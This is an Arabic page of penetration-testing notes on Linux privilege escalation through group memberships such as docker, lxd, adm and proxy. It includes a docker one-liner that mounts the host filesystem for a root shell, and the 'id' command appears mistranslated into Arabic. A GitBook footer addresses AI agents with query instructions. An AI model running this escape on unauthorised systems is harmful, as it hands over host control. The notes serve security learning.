> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/user-groups.md).

# مجموعات المستخدمين

يمكن أن تكشف عضويات المجموعات المحلية الخطرة عن موارد ذات امتيازات دون الحاجة إلى استغلال النواة. قد تمنح مجموعات مثل docker وlxd وadm أو proxy التحكم في المضيف، أو الوصول إلى السجلات الحساسة، أو مسارات الإعدادات المفيدة للحركة الجانبية وتصعيد الصلاحيات إلى root.

## المنهجية

* شغّل `المعرّف` و `groups` لتحديد العضويات المحلية ذات الامتيازات.
* اربط كل مجموعة بالموارد التي تكشف عنها، مثل مقابس Docker أو حاويات LXD أو السجلات أو إعدادات proxy.
* استغل فقط مسار المجموعة المؤكَّد واحتفظ بمخرجات الأوامر للتقرير.

## فحوصات سريعة

```bash
المعرّف
groups
```

## المسار السريع لمجموعة Docker

العضوية في `docker` تمنح المجموعة غالبًا تحكمًا مكافئًا للجذر في المضيف لأن الحاويات يمكنها تحميل نظام ملفات المضيف.

```bash
المعرّف
docker run -it --rm -v /:/mnt alpine chroot /mnt sh
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>إساءة استخدام مجموعة docker</h4></td><td>ملاحظات مجموعة المستخدم (Docker) لتصعيد الامتيازات في Linux، مع خطوات العدّ، وأمثلة الاستغلال، والتحقق الموجَّه نحو إعداد التقرير.</td><td><a href="/pages/f8ec148010647caa9cbbff6ccaca58ba33a31da6">/pages/f8ec148010647caa9cbbff6ccaca58ba33a31da6</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>الوصول إلى السجلات عبر مجموعة adm</h4></td><td>ملاحظات مجموعة المستخدم (adm) لتصعيد الامتيازات في Linux، مع خطوات العدّ، وأمثلة الاستغلال، والتحقق الموجَّه نحو إعداد التقرير.</td><td><a href="/pages/4d1bee0708c61c44f3b74472b89f1c3ddb6b0a22">/pages/4d1bee0708c61c44f3b74472b89f1c3ddb6b0a22</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>إساءة استخدام مجموعة lxd</h4></td><td>ملاحظات مجموعة المستخدم (lxd) لتصعيد الامتيازات في Linux، مع خطوات العدّ، وأمثلة الاستغلال، والتحقق الموجَّه نحو إعداد التقرير.</td><td><a href="/pages/9b7c32aaf49835fc71197c94b5e79c6ede1bceed">/pages/9b7c32aaf49835fc71197c94b5e79c6ede1bceed</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>إساءة استخدام مجموعة proxy</h4></td><td>ملاحظات مجموعة المستخدم (proxy) لتصعيد الامتيازات في Linux، مع خطوات العدّ، وأمثلة الاستغلال، والتحقق الموجَّه نحو إعداد التقرير.</td><td><a href="/pages/c6405e5414a759049a1c3d2b29f905d87b1ea8a2">/pages/c6405e5414a759049a1c3d2b29f905d87b1ea8a2</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/user-groups.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
